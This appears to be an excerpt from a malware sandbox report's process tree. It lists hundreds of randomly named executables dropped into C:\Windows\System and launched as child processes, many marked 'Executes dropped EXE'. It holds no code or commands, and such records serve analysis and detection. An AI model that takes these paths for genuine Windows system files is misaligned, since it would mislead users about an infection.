- C:\Windows\System\rprbuqt.exe
  C:\Windows\System\rprbuqt.exe
  2⤵
  - Executes dropped EXE
  PID:1736
- C:\Windows\System\ldJULIp.exe
  C:\Windows\System\ldJULIp.exe
  2⤵
  - Executes dropped EXE
  PID:1380
- C:\Windows\System\ABbYjNm.exe
  C:\Windows\System\ABbYjNm.exe
  2⤵
  - Executes dropped EXE
  PID:2772
- C:\Windows\System\VUGUyPu.exe
  C:\Windows\System\VUGUyPu.exe
  2⤵
  - Executes dropped EXE
  PID:1816
- C:\Windows\System\efANxxq.exe
  C:\Windows\System\efANxxq.exe
  2⤵
  - Executes dropped EXE
  PID:4564
- C:\Windows\System\ODdpLiz.exe
  C:\Windows\System\ODdpLiz.exe
  2⤵
  - Executes dropped EXE
  PID:1364
- C:\Windows\System\DIEAcMQ.exe
  C:\Windows\System\DIEAcMQ.exe
  2⤵
  - Executes dropped EXE
  PID:2804
- C:\Windows\System\frWzykM.exe
  C:\Windows\System\frWzykM.exe
  2⤵
  - Executes dropped EXE
  PID:4372
- C:\Windows\System\iZASZvZ.exe
  C:\Windows\System\iZASZvZ.exe
  2⤵
  - Executes dropped EXE
  PID:4732
- C:\Windows\System\MdCbqXe.exe
  C:\Windows\System\MdCbqXe.exe
  2⤵
  - Executes dropped EXE
  PID:2584
- C:\Windows\System\WeNWXSp.exe
  C:\Windows\System\WeNWXSp.exe
  2⤵
  - Executes dropped EXE
  PID:3708
- C:\Windows\System\EmjocKe.exe
  C:\Windows\System\EmjocKe.exe
  2⤵
  - Executes dropped EXE
  PID:3592
- C:\Windows\System\bsIMony.exe
  C:\Windows\System\bsIMony.exe
  2⤵
  - Executes dropped EXE
  PID:3132
- C:\Windows\System\MVkVUYY.exe
  C:\Windows\System\MVkVUYY.exe
  2⤵
  - Executes dropped EXE
  PID:4464
- C:\Windows\System\ZuAdGjG.exe
  C:\Windows\System\ZuAdGjG.exe
  2⤵
  - Executes dropped EXE
  PID:3968
- C:\Windows\System\PxNhfie.exe
  C:\Windows\System\PxNhfie.exe
  2⤵
  - Executes dropped EXE
  PID:1148
- C:\Windows\System\UIJcXkR.exe
  C:\Windows\System\UIJcXkR.exe
  2⤵
  - Executes dropped EXE
  PID:4452
- C:\Windows\System\RETVOTp.exe
  C:\Windows\System\RETVOTp.exe
  2⤵
  - Executes dropped EXE
  PID:4476
- C:\Windows\System\uPJOnqt.exe
  C:\Windows\System\uPJOnqt.exe
  2⤵
  - Executes dropped EXE
  PID:892
- C:\Windows\System\SCDFSMN.exe
  C:\Windows\System\SCDFSMN.exe
  2⤵
  - Executes dropped EXE
  PID:2640
- C:\Windows\System\cyIHhNi.exe
  C:\Windows\System\cyIHhNi.exe
  2⤵
  - Executes dropped EXE
  PID:1992
- C:\Windows\System\UCaeBuk.exe
  C:\Windows\System\UCaeBuk.exe
  2⤵
  - Executes dropped EXE
  PID:1188
- C:\Windows\System\sqoxPrw.exe
  C:\Windows\System\sqoxPrw.exe
  2⤵
  - Executes dropped EXE
  PID:2164
- C:\Windows\System\TaXpnLN.exe
  C:\Windows\System\TaXpnLN.exe
  2⤵
  - Executes dropped EXE
  PID:2324
- C:\Windows\System\UvIXcIB.exe
  C:\Windows\System\UvIXcIB.exe
  2⤵
  - Executes dropped EXE
  PID:1684
- C:\Windows\System\KzKeKGQ.exe
  C:\Windows\System\KzKeKGQ.exe
  2⤵
  - Executes dropped EXE
  PID:3484
- C:\Windows\System\JHvIhMf.exe
  C:\Windows\System\JHvIhMf.exe
  2⤵
  - Executes dropped EXE
  PID:3180
- C:\Windows\System\UuWmoqU.exe
  C:\Windows\System\UuWmoqU.exe
  2⤵
  - Executes dropped EXE
  PID:4724
- C:\Windows\System\kJGHqNj.exe
  C:\Windows\System\kJGHqNj.exe
  2⤵
  - Executes dropped EXE
  PID:60
- C:\Windows\System\RSNjzCr.exe
  C:\Windows\System\RSNjzCr.exe
  2⤵
  - Executes dropped EXE
  PID:2556
- C:\Windows\System\rJCtdXP.exe
  C:\Windows\System\rJCtdXP.exe
  2⤵
  - Executes dropped EXE
  PID:2092
- C:\Windows\System\bcHJlQi.exe
  C:\Windows\System\bcHJlQi.exe
  2⤵
  - Executes dropped EXE
  PID:5036
- C:\Windows\System\aAnnqoq.exe
  C:\Windows\System\aAnnqoq.exe
  2⤵
  - Executes dropped EXE
  PID:3496
- C:\Windows\System\dlTWYaz.exe
  C:\Windows\System\dlTWYaz.exe
  2⤵
  - Executes dropped EXE
  PID:4264
- C:\Windows\System\TCfYYSu.exe
  C:\Windows\System\TCfYYSu.exe
  2⤵
  - Executes dropped EXE
  PID:4508
- C:\Windows\System\QIAyyoV.exe
  C:\Windows\System\QIAyyoV.exe
  2⤵
  - Executes dropped EXE
  PID:4404
- C:\Windows\System\rEjPerU.exe
  C:\Windows\System\rEjPerU.exe
  2⤵
  - Executes dropped EXE
  PID:4284
- C:\Windows\System\ztzaaXu.exe
  C:\Windows\System\ztzaaXu.exe
  2⤵
  PID:2364
- C:\Windows\System\scGqwgl.exe
  C:\Windows\System\scGqwgl.exe
  2⤵
  PID:4448
- C:\Windows\System\LmZwDWc.exe
  C:\Windows\System\LmZwDWc.exe
  2⤵
  PID:960
- C:\Windows\System\kJgkqpn.exe
  C:\Windows\System\kJgkqpn.exe
  2⤵
  PID:4064
- C:\Windows\System\YTgithm.exe
  C:\Windows\System\YTgithm.exe
  2⤵
  PID:4072
- C:\Windows\System\yeGcIQK.exe
  C:\Windows\System\yeGcIQK.exe
  2⤵
  PID:5144
- C:\Windows\System\cEKEBJg.exe
  C:\Windows\System\cEKEBJg.exe
  2⤵
  PID:5172
- C:\Windows\System\qBAbfpX.exe
  C:\Windows\System\qBAbfpX.exe
  2⤵
  PID:5196
- C:\Windows\System\XMmzAUD.exe
  C:\Windows\System\XMmzAUD.exe
  2⤵
  PID:5224
- C:\Windows\System\TYpwQqV.exe
  C:\Windows\System\TYpwQqV.exe
  2⤵
  PID:5248
- C:\Windows\System\XIquuZu.exe
  C:\Windows\System\XIquuZu.exe
  2⤵
  PID:5280
- C:\Windows\System\PKiuptT.exe
  C:\Windows\System\PKiuptT.exe
  2⤵
  PID:5304
- C:\Windows\System\YvZkZds.exe
  C:\Windows\System\YvZkZds.exe
  2⤵
  PID:5332
- C:\Windows\System\BSEdeqz.exe
  C:\Windows\System\BSEdeqz.exe
  2⤵
  PID:5360
- C:\Windows\System\oNGDPBD.exe
  C:\Windows\System\oNGDPBD.exe
  2⤵
  PID:5388
- C:\Windows\System\kTHXuII.exe
  C:\Windows\System\kTHXuII.exe
  2⤵
  PID:5416
- C:\Windows\System\LTNiMbs.exe
  C:\Windows\System\LTNiMbs.exe
  2⤵
  PID:5440
- C:\Windows\System\SGaxZAz.exe
  C:\Windows\System\SGaxZAz.exe
  2⤵
  PID:5464
- C:\Windows\System\jCzBYcr.exe
  C:\Windows\System\jCzBYcr.exe
  2⤵
  PID:5484
- C:\Windows\System\AzWJGqE.exe
  C:\Windows\System\AzWJGqE.exe
  2⤵
  PID:5512
- C:\Windows\System\bsCqpsy.exe
  C:\Windows\System\bsCqpsy.exe
  2⤵
  PID:5536
- C:\Windows\System\XWkJOps.exe
  C:\Windows\System\XWkJOps.exe
  2⤵
  PID:5568
- C:\Windows\System\RPxRyhZ.exe
  C:\Windows\System\RPxRyhZ.exe
  2⤵
  PID:5584
- C:\Windows\System\jxzNXQp.exe
  C:\Windows\System\jxzNXQp.exe
  2⤵
  PID:5616
- C:\Windows\System\magaQjL.exe
  C:\Windows\System\magaQjL.exe
  2⤵
  PID:5648
- C:\Windows\System\alAgKCk.exe
  C:\Windows\System\alAgKCk.exe
  2⤵
  PID:5680
- C:\Windows\System\vERmbqb.exe
  C:\Windows\System\vERmbqb.exe
  2⤵
  PID:5704
- C:\Windows\System\zjNTQHm.exe
  C:\Windows\System\zjNTQHm.exe
  2⤵
  PID:5724
- C:\Windows\System\zrantyv.exe
  C:\Windows\System\zrantyv.exe
  2⤵
  PID:5740
- C:\Windows\System\CtIGpVe.exe
  C:\Windows\System\CtIGpVe.exe
  2⤵
  PID:5764
- C:\Windows\System\EhzyGOI.exe
  C:\Windows\System\EhzyGOI.exe
  2⤵
  PID:5832
- C:\Windows\System\pFQAiGh.exe
  C:\Windows\System\pFQAiGh.exe
  2⤵
  PID:5848
- C:\Windows\System\pZrOCsM.exe
  C:\Windows\System\pZrOCsM.exe
  2⤵
  PID:5876
- C:\Windows\System\PoNdmfK.exe
  C:\Windows\System\PoNdmfK.exe
  2⤵
  PID:5900
- C:\Windows\System\fpTKLzj.exe
  C:\Windows\System\fpTKLzj.exe
  2⤵
  PID:5932
- C:\Windows\System\iMXJpLC.exe
  C:\Windows\System\iMXJpLC.exe
  2⤵
  PID:5956
- C:\Windows\System\YljoxNQ.exe
  C:\Windows\System\YljoxNQ.exe
  2⤵
  PID:5984
- C:\Windows\System\KsJhCSY.exe
  C:\Windows\System\KsJhCSY.exe
  2⤵
  PID:6004
- C:\Windows\System\ZQSCRQz.exe
  C:\Windows\System\ZQSCRQz.exe
  2⤵
  PID:6040
- C:\Windows\System\wUIlxUp.exe
  C:\Windows\System\wUIlxUp.exe
  2⤵
  PID:6064
- C:\Windows\System\XdftZBx.exe
  C:\Windows\System\XdftZBx.exe
  2⤵
  PID:6104
- C:\Windows\System\TEVBQhp.exe
  C:\Windows\System\TEVBQhp.exe
  2⤵
  PID:6124
- C:\Windows\System\aRTKqur.exe
  C:\Windows\System\aRTKqur.exe
  2⤵
  PID:1796
- C:\Windows\System\pYBySGb.exe
  C:\Windows\System\pYBySGb.exe
  2⤵
  PID:5156
- C:\Windows\System\QGdwtnd.exe
  C:\Windows\System\QGdwtnd.exe
  2⤵
  PID:5260
- C:\Windows\System\FJtXfzI.exe
  C:\Windows\System\FJtXfzI.exe
  2⤵
  PID:4772
- C:\Windows\System\wQNMvaU.exe
  C:\Windows\System\wQNMvaU.exe
  2⤵
  PID:5372
- C:\Windows\System\qitciHK.exe
  C:\Windows\System\qitciHK.exe
  2⤵
  PID:5432
- C:\Windows\System\AMsKrus.exe
  C:\Windows\System\AMsKrus.exe
  2⤵
  PID:5480
- C:\Windows\System\KMxAjVG.exe
  C:\Windows\System\KMxAjVG.exe
  2⤵
  PID:5600
- C:\Windows\System\jQxPBZG.exe
  C:\Windows\System\jQxPBZG.exe
  2⤵
  PID:5612
- C:\Windows\System\vYcPwvv.exe
  C:\Windows\System\vYcPwvv.exe
  2⤵
  PID:5668
- C:\Windows\System\fAyYSSd.exe
  C:\Windows\System\fAyYSSd.exe
  2⤵
  PID:5716
- C:\Windows\System\IAiGiZW.exe
  C:\Windows\System\IAiGiZW.exe
  2⤵
  PID:5752
- C:\Windows\System\fYSAwat.exe
  C:\Windows\System\fYSAwat.exe
  2⤵
  PID:5856
- C:\Windows\System\fWKXmmz.exe
  C:\Windows\System\fWKXmmz.exe
  2⤵
  PID:5868
- C:\Windows\System\DCEbMRU.exe
  C:\Windows\System\DCEbMRU.exe
  2⤵
  PID:5916
- C:\Windows\System\kWXXPOb.exe
  C:\Windows\System\kWXXPOb.exe
  2⤵
  PID:5972
- C:\Windows\System\daqBccQ.exe
  C:\Windows\System\daqBccQ.exe
  2⤵
  PID:6056
- C:\Windows\System\mdfWYtB.exe
  C:\Windows\System\mdfWYtB.exe
  2⤵
  PID:6116
- C:\Windows\System\VshGGmj.exe
  C:\Windows\System\VshGGmj.exe
  2⤵
  PID:3576
- C:\Windows\System\BQiBPRt.exe
  C:\Windows\System\BQiBPRt.exe
  2⤵
  PID:5436
- C:\Windows\System\oQYgIwo.exe
  C:\Windows\System\oQYgIwo.exe
  2⤵
  PID:5816
- C:\Windows\System\nBedgon.exe
  C:\Windows\System\nBedgon.exe
  2⤵
  PID:5964
- C:\Windows\System\ksNbMaw.exe
  C:\Windows\System\ksNbMaw.exe
  2⤵
  PID:5460
- C:\Windows\System\aNjNpkG.exe
  C:\Windows\System\aNjNpkG.exe
  2⤵
  PID:5656
- C:\Windows\System\IRjNUoJ.exe
  C:\Windows\System\IRjNUoJ.exe
  2⤵
  PID:5212
- C:\Windows\System\RdzoMms.exe
  C:\Windows\System\RdzoMms.exe
  2⤵
  PID:6148
- C:\Windows\System\UzrbBbY.exe
  C:\Windows\System\UzrbBbY.exe
  2⤵
  PID:6164
- C:\Windows\System\kAjvdAK.exe
  C:\Windows\System\kAjvdAK.exe
  2⤵
  PID:6180
- C:\Windows\System\kZXVqyD.exe
  C:\Windows\System\kZXVqyD.exe
  2⤵
  PID:6196
- C:\Windows\System\FaRODLI.exe
  C:\Windows\System\FaRODLI.exe
  2⤵
  PID:6228
- C:\Windows\System\ZOCydzi.exe
  C:\Windows\System\ZOCydzi.exe
  2⤵
  PID:6260
- C:\Windows\System\NqVMPZM.exe
  C:\Windows\System\NqVMPZM.exe
  2⤵
  PID:6276
- C:\Windows\System\yfnLTAT.exe
  C:\Windows\System\yfnLTAT.exe
  2⤵
  PID:6348
- C:\Windows\System\jklXsiZ.exe
  C:\Windows\System\jklXsiZ.exe
  2⤵
  PID:6364
- C:\Windows\System\IxcwvHN.exe
  C:\Windows\System\IxcwvHN.exe
  2⤵
  PID:6380
- C:\Windows\System\POFwaGJ.exe
  C:\Windows\System\POFwaGJ.exe
  2⤵
  PID:6408
- C:\Windows\System\PLoSypr.exe
  C:\Windows\System\PLoSypr.exe
  2⤵
  PID:6504
- C:\Windows\System\nHCgkiI.exe
  C:\Windows\System\nHCgkiI.exe
  2⤵
  PID:6524
- C:\Windows\System\xRqPYPx.exe
  C:\Windows\System\xRqPYPx.exe
  2⤵
  PID:6540
- C:\Windows\System\GhrOJQv.exe
  C:\Windows\System\GhrOJQv.exe
  2⤵
  PID:6560
- C:\Windows\System\VcuJyUZ.exe
  C:\Windows\System\VcuJyUZ.exe
  2⤵
  PID:6580
- C:\Windows\System\ZMOqUvr.exe
  C:\Windows\System\ZMOqUvr.exe
  2⤵
  PID:6608
- C:\Windows\System\ZNYQOZH.exe
  C:\Windows\System\ZNYQOZH.exe
  2⤵
  PID:6628
- C:\Windows\System\XTsndzs.exe
  C:\Windows\System\XTsndzs.exe
  2⤵
  PID:6644
- C:\Windows\System\XYGiXJd.exe
  C:\Windows\System\XYGiXJd.exe
  2⤵
  PID:6672
- C:\Windows\System\VwMVaHb.exe
  C:\Windows\System\VwMVaHb.exe
  2⤵
  PID:6732
- C:\Windows\System\TUFewaX.exe
  C:\Windows\System\TUFewaX.exe
  2⤵
  PID:6748
- C:\Windows\System\bKIOQdc.exe
  C:\Windows\System\bKIOQdc.exe
  2⤵
  PID:6764
- C:\Windows\System\RaLabCJ.exe
  C:\Windows\System\RaLabCJ.exe
  2⤵
  PID:6784
- C:\Windows\System\aWMMjDA.exe
  C:\Windows\System\aWMMjDA.exe
  2⤵
  PID:6844
- C:\Windows\System\WEUoaAc.exe
  C:\Windows\System\WEUoaAc.exe
  2⤵
  PID:6868
- C:\Windows\System\UtyJQoY.exe
  C:\Windows\System\UtyJQoY.exe
  2⤵
  PID:6928
- C:\Windows\System\FCfxITL.exe
  C:\Windows\System\FCfxITL.exe
  2⤵
  PID:6956
- C:\Windows\System\llKOGvP.exe
  C:\Windows\System\llKOGvP.exe
  2⤵
  PID:7028
- C:\Windows\System\fgJIGEa.exe
  C:\Windows\System\fgJIGEa.exe
  2⤵
  PID:7068
- C:\Windows\System\vjTqmNc.exe
  C:\Windows\System\vjTqmNc.exe
  2⤵
  PID:7088
- C:\Windows\System\ntRgnMt.exe
  C:\Windows\System\ntRgnMt.exe
  2⤵
  PID:7104
- C:\Windows\System\ZUNhpCt.exe
  C:\Windows\System\ZUNhpCt.exe
  2⤵
  PID:7128
- C:\Windows\System\twFlKyO.exe
  C:\Windows\System\twFlKyO.exe
  2⤵
  PID:7148
- C:\Windows\System\aWycJDN.exe
  C:\Windows\System\aWycJDN.exe
  2⤵
  PID:5380
- C:\Windows\System\IHhJHox.exe
  C:\Windows\System\IHhJHox.exe
  2⤵
  PID:5552
- C:\Windows\System\CavuVgd.exe
  C:\Windows\System\CavuVgd.exe
  2⤵
  PID:6176
- C:\Windows\System\QZlnzDj.exe
  C:\Windows\System\QZlnzDj.exe
  2⤵
  PID:6220
- C:\Windows\System\JlYYlAr.exe
  C:\Windows\System\JlYYlAr.exe
  2⤵
  PID:6100
- C:\Windows\System\ecQHUlw.exe
  C:\Windows\System\ecQHUlw.exe
  2⤵
  PID:6244
- C:\Windows\System\hddteaX.exe
  C:\Windows\System\hddteaX.exe
  2⤵
  PID:5812
- C:\Windows\System\uRdhbSg.exe
  C:\Windows\System\uRdhbSg.exe
  2⤵
  PID:6340
- C:\Windows\System\Lbscnak.exe
  C:\Windows\System\Lbscnak.exe
  2⤵
  PID:6404
- C:\Windows\System\pGKhUGy.exe
  C:\Windows\System\pGKhUGy.exe
  2⤵
  PID:6444
- C:\Windows\System\VJbZlRm.exe
  C:\Windows\System\VJbZlRm.exe
  2⤵
  PID:6312
- C:\Windows\System\AmFjBEq.exe
  C:\Windows\System\AmFjBEq.exe
  2⤵
  PID:6536
- C:\Windows\System\RgCmuAs.exe
  C:\Windows\System\RgCmuAs.exe
  2⤵
  PID:6456
- C:\Windows\System\vfsBeHa.exe
  C:\Windows\System\vfsBeHa.exe
  2⤵
  PID:6516
- C:\Windows\System\aQHdART.exe
  C:\Windows\System\aQHdART.exe
  2⤵
  PID:6636
- C:\Windows\System\NbPNNzq.exe
  C:\Windows\System\NbPNNzq.exe
  2⤵
  PID:6700
- C:\Windows\System\oZRdfIa.exe
  C:\Windows\System\oZRdfIa.exe
  2⤵
  PID:6692
- C:\Windows\System\tHJDgFg.exe
  C:\Windows\System\tHJDgFg.exe
  2⤵
  PID:6720
- C:\Windows\System\fuQBwam.exe
  C:\Windows\System\fuQBwam.exe
  2⤵
  PID:6780
- C:\Windows\System\fyyZBmP.exe
  C:\Windows\System\fyyZBmP.exe
  2⤵
  PID:6800
- C:\Windows\System\ZpqRLJm.exe
  C:\Windows\System\ZpqRLJm.exe
  2⤵
  PID:6900
- C:\Windows\System\gvDkpQa.exe
  C:\Windows\System\gvDkpQa.exe
  2⤵
  PID:6968
- C:\Windows\System\UFDdnMy.exe
  C:\Windows\System\UFDdnMy.exe
  2⤵
  PID:7012
- C:\Windows\System\uBspCaK.exe
  C:\Windows\System\uBspCaK.exe
  2⤵
  PID:2312
- C:\Windows\System\qjOvGvx.exe
  C:\Windows\System\qjOvGvx.exe
  2⤵
  PID:7020
- C:\Windows\System\LlxYYux.exe
  C:\Windows\System\LlxYYux.exe
  2⤵
  PID:7064
- C:\Windows\System\bsPfhtO.exe
  C:\Windows\System\bsPfhtO.exe
  2⤵
  PID:7120
- C:\Windows\System\zGLeyLr.exe
  C:\Windows\System\zGLeyLr.exe
  2⤵
  PID:6208
- C:\Windows\System\dhevVVV.exe
  C:\Windows\System\dhevVVV.exe
  2⤵
  PID:6060
- C:\Windows\System\PWiEMON.exe
  C:\Windows\System\PWiEMON.exe
  2⤵
  PID:6192
- C:\Windows\System\FNRdDmD.exe
  C:\Windows\System\FNRdDmD.exe
  2⤵
  PID:6328
- C:\Windows\System\hoRLzAG.exe
  C:\Windows\System\hoRLzAG.exe
  2⤵
  PID:6520
- C:\Windows\System\kmSrXXn.exe
  C:\Windows\System\kmSrXXn.exe
  2⤵
  PID:6740
- C:\Windows\System\XlEugJF.exe
  C:\Windows\System\XlEugJF.exe
  2⤵
  PID:6268
- C:\Windows\System\ZpgsGmC.exe
  C:\Windows\System\ZpgsGmC.exe
  2⤵
  PID:6948
- C:\Windows\System\uwqCgBk.exe
  C:\Windows\System\uwqCgBk.exe
  2⤵
  PID:6600
- C:\Windows\System\XCuCVbf.exe
  C:\Windows\System\XCuCVbf.exe
  2⤵
  PID:7188
- C:\Windows\System\aciSCYX.exe
  C:\Windows\System\aciSCYX.exe
  2⤵
  PID:7212
- C:\Windows\System\yHDdYCA.exe
  C:\Windows\System\yHDdYCA.exe
  2⤵
  PID:7232
- C:\Windows\System\OqovklS.exe
  C:\Windows\System\OqovklS.exe
  2⤵
  PID:7248
- C:\Windows\System\ommwWcM.exe
  C:\Windows\System\ommwWcM.exe
  2⤵
  PID:7268
- C:\Windows\System\aJVfKap.exe
  C:\Windows\System\aJVfKap.exe
  2⤵
  PID:7288
- C:\Windows\System\SADUsQD.exe
  C:\Windows\System\SADUsQD.exe
  2⤵
  PID:7312
- C:\Windows\System\KvTItSr.exe
  C:\Windows\System\KvTItSr.exe
  2⤵
  PID:7336
- C:\Windows\System\niWVfhy.exe
  C:\Windows\System\niWVfhy.exe
  2⤵
  PID:7356
- C:\Windows\System\wljMeQs.exe
  C:\Windows\System\wljMeQs.exe
  2⤵
  PID:7372
- C:\Windows\System\txxMfSb.exe
  C:\Windows\System\txxMfSb.exe
  2⤵
  PID:7392
- C:\Windows\System\rPIkeFE.exe
  C:\Windows\System\rPIkeFE.exe
  2⤵
  PID:7412
- C:\Windows\System\ZzOypTN.exe
  C:\Windows\System\ZzOypTN.exe
  2⤵
  PID:7432
- C:\Windows\System\dgjgsqv.exe
  C:\Windows\System\dgjgsqv.exe
  2⤵
  PID:7456
- C:\Windows\System\zFPFjVI.exe
  C:\Windows\System\zFPFjVI.exe
  2⤵
  PID:7476
- C:\Windows\System\bOJGuut.exe
  C:\Windows\System\bOJGuut.exe
  2⤵
  PID:7496
- C:\Windows\System\Uwmoekb.exe
  C:\Windows\System\Uwmoekb.exe
  2⤵
  PID:7520
- C:\Windows\System\IWCcGKG.exe
  C:\Windows\System\IWCcGKG.exe
  2⤵
  PID:7540
- C:\Windows\System\QwdayFb.exe
  C:\Windows\System\QwdayFb.exe
  2⤵
  PID:7560
- C:\Windows\System\xucxGlQ.exe
  C:\Windows\System\xucxGlQ.exe
  2⤵
  PID:7580
- C:\Windows\System\PBHqgZU.exe
  C:\Windows\System\PBHqgZU.exe
  2⤵
  PID:7608
- C:\Windows\System\xKsxpad.exe
  C:\Windows\System\xKsxpad.exe
  2⤵
  PID:7624
- C:\Windows\System\JbFTkwW.exe
  C:\Windows\System\JbFTkwW.exe
  2⤵
  PID:7656
- C:\Windows\System\rDPvDKi.exe
  C:\Windows\System\rDPvDKi.exe
  2⤵
  PID:7676
- C:\Windows\System\kbjZBIe.exe
  C:\Windows\System\kbjZBIe.exe
  2⤵
  PID:7692
- C:\Windows\System\kfZtiAr.exe
  C:\Windows\System\kfZtiAr.exe
  2⤵
  PID:7724
- C:\Windows\System\qArryao.exe
  C:\Windows\System\qArryao.exe
  2⤵
  PID:7744
- C:\Windows\System\WhGslck.exe
  C:\Windows\System\WhGslck.exe
  2⤵
  PID:7768
- C:\Windows\System\vEVFZbE.exe
  C:\Windows\System\vEVFZbE.exe
  2⤵
  PID:7788
- C:\Windows\System\KNsVNyi.exe
  C:\Windows\System\KNsVNyi.exe
  2⤵
  PID:7808
- C:\Windows\System\YzCSjVY.exe
  C:\Windows\System\YzCSjVY.exe
  2⤵
  PID:7824
- C:\Windows\System\IpDJyYE.exe
  C:\Windows\System\IpDJyYE.exe
  2⤵
  PID:7848
- C:\Windows\System\cUcGwOK.exe
  C:\Windows\System\cUcGwOK.exe
  2⤵
  PID:7864
- C:\Windows\System\qEpecgo.exe
  C:\Windows\System\qEpecgo.exe
  2⤵
  PID:7888
- C:\Windows\System\jVpVqJF.exe
  C:\Windows\System\jVpVqJF.exe
  2⤵
  PID:7908
- C:\Windows\System\mjSuzaq.exe
  C:\Windows\System\mjSuzaq.exe
  2⤵
  PID:7928
- C:\Windows\System\TpzzkLi.exe
  C:\Windows\System\TpzzkLi.exe
  2⤵
  PID:7948
- C:\Windows\System\JoTauNs.exe
  C:\Windows\System\JoTauNs.exe
  2⤵
  PID:7968
- C:\Windows\System\dBTlXzl.exe
  C:\Windows\System\dBTlXzl.exe
  2⤵
  PID:7988
- C:\Windows\System\OohyQfh.exe
  C:\Windows\System\OohyQfh.exe
  2⤵
  PID:8008
- C:\Windows\System\MaWDYHm.exe
  C:\Windows\System\MaWDYHm.exe
  2⤵
  PID:8028
- C:\Windows\System\YJhGZxG.exe
  C:\Windows\System\YJhGZxG.exe
  2⤵
  PID:8048
- C:\Windows\System\yxWAxhM.exe
  C:\Windows\System\yxWAxhM.exe
  2⤵
  PID:8068
- C:\Windows\System\vwpNCcC.exe
  C:\Windows\System\vwpNCcC.exe
  2⤵
  PID:8084
- C:\Windows\System\sGsMJlc.exe
  C:\Windows\System\sGsMJlc.exe
  2⤵
  PID:8108
- C:\Windows\System\mZcYCJd.exe
  C:\Windows\System\mZcYCJd.exe
  2⤵
  PID:8128
- C:\Windows\System\QMbXNzx.exe
  C:\Windows\System\QMbXNzx.exe
  2⤵
  PID:8152
- C:\Windows\System\SDYknNs.exe
  C:\Windows\System\SDYknNs.exe
  2⤵
  PID:8172
- C:\Windows\System\bvLqRNG.exe
  C:\Windows\System\bvLqRNG.exe
  2⤵
  PID:6572
- C:\Windows\System\bOJWdhT.exe
  C:\Windows\System\bOJWdhT.exe
  2⤵
  PID:6760
- C:\Windows\System\dqTaDlM.exe
  C:\Windows\System\dqTaDlM.exe
  2⤵
  PID:6820
- C:\Windows\System\oxMUtGA.exe
  C:\Windows\System\oxMUtGA.exe
  2⤵
  PID:6300
- C:\Windows\System\dNcaqyk.exe
  C:\Windows\System\dNcaqyk.exe
  2⤵
  PID:6592
- C:\Windows\System\cuUFsGX.exe
  C:\Windows\System\cuUFsGX.exe
  2⤵
  PID:7160
- C:\Windows\System\gRVTUao.exe
  C:\Windows\System\gRVTUao.exe
  2⤵
  PID:6796
- C:\Windows\System\pxZOhSz.exe
  C:\Windows\System\pxZOhSz.exe
  2⤵
  PID:7324
- C:\Windows\System\gCHwzmh.exe
  C:\Windows\System\gCHwzmh.exe
  2⤵
  PID:6804
- C:\Windows\System\KlGLmYV.exe
  C:\Windows\System\KlGLmYV.exe
  2⤵
  PID:7440
- C:\Windows\System\YRrHKXE.exe
  C:\Windows\System\YRrHKXE.exe
  2⤵
  PID:6204
- C:\Windows\System\zEACwyX.exe
  C:\Windows\System\zEACwyX.exe
  2⤵
  PID:7740
- C:\Windows\System\TYCkpnO.exe
  C:\Windows\System\TYCkpnO.exe
  2⤵
  PID:7780
- C:\Windows\System\wuZBCyc.exe
  C:\Windows\System\wuZBCyc.exe
  2⤵
  PID:4216
- C:\Windows\System\GPFSoVC.exe
  C:\Windows\System\GPFSoVC.exe
  2⤵
  PID:7840
- C:\Windows\System\ViWfnFH.exe
  C:\Windows\System\ViWfnFH.exe
  2⤵
  PID:7384
- C:\Windows\System\aIGwFNp.exe
  C:\Windows\System\aIGwFNp.exe
  2⤵
  PID:8204
- C:\Windows\System\ifmVzPP.exe
  C:\Windows\System\ifmVzPP.exe
  2⤵
  PID:8224
- C:\Windows\System\otUoxQk.exe
  C:\Windows\System\otUoxQk.exe
  2⤵
  PID:8244
- C:\Windows\System\wJyeEHG.exe
  C:\Windows\System\wJyeEHG.exe
  2⤵
  PID:8268
- C:\Windows\System\cvvKrsY.exe
  C:\Windows\System\cvvKrsY.exe
  2⤵
  PID:8288
- C:\Windows\System\KbSdmSY.exe
  C:\Windows\System\KbSdmSY.exe
  2⤵
  PID:8308
- C:\Windows\System\qcWgsae.exe
  C:\Windows\System\qcWgsae.exe
  2⤵
  PID:8328
- C:\Windows\System\FNEEGvf.exe
  C:\Windows\System\FNEEGvf.exe
  2⤵
  PID:8344
- C:\Windows\System\MtGsEBy.exe
  C:\Windows\System\MtGsEBy.exe
  2⤵
  PID:8364
- C:\Windows\System\HYILJQB.exe
  C:\Windows\System\HYILJQB.exe
  2⤵
  PID:8384
- C:\Windows\System\nKbwvnK.exe
  C:\Windows\System\nKbwvnK.exe
  2⤵
  PID:8404
- C:\Windows\System\GrmkQaA.exe
  C:\Windows\System\GrmkQaA.exe
  2⤵
  PID:8428
- C:\Windows\System\qZVvJVs.exe
  C:\Windows\System\qZVvJVs.exe
  2⤵
  PID:8452
- C:\Windows\System\NFzzhSe.exe
  C:\Windows\System\NFzzhSe.exe
  2⤵
  PID:8468
- C:\Windows\System\KMPBIkd.exe
  C:\Windows\System\KMPBIkd.exe
  2⤵
  PID:8492
- C:\Windows\System\VQYMwAc.exe
  C:\Windows\System\VQYMwAc.exe
  2⤵
  PID:8528
- C:\Windows\System\bpekOAK.exe
  C:\Windows\System\bpekOAK.exe
  2⤵
  PID:8548
- C:\Windows\System\InvmvfD.exe
  C:\Windows\System\InvmvfD.exe
  2⤵
  PID:8572
- C:\Windows\System\wvLNqVs.exe
  C:\Windows\System\wvLNqVs.exe
  2⤵
  PID:8592
- C:\Windows\System\uCNNofd.exe
  C:\Windows\System\uCNNofd.exe
  2⤵
  PID:8612
- C:\Windows\System\SBnwsEl.exe
  C:\Windows\System\SBnwsEl.exe
  2⤵
  PID:8632
- C:\Windows\System\sHLeMHo.exe
  C:\Windows\System\sHLeMHo.exe
  2⤵
  PID:8656
- C:\Windows\System\HnGbdZQ.exe
  C:\Windows\System\HnGbdZQ.exe
  2⤵
  PID:8672
- C:\Windows\System\TacjNDX.exe
  C:\Windows\System\TacjNDX.exe
  2⤵
  PID:8692
- C:\Windows\System\WKJgeiv.exe
  C:\Windows\System\WKJgeiv.exe
  2⤵
  PID:8708
- C:\Windows\System\JYKezcR.exe
  C:\Windows\System\JYKezcR.exe
  2⤵
  PID:8728
- C:\Windows\System\ygVhcVu.exe
  C:\Windows\System\ygVhcVu.exe
  2⤵
  PID:8748
- C:\Windows\System\MzEDbeF.exe
  C:\Windows\System\MzEDbeF.exe
  2⤵
  PID:8776
- C:\Windows\System\gywGatc.exe
  C:\Windows\System\gywGatc.exe
  2⤵
  PID:8792
- C:\Windows\System\Ogyenyg.exe
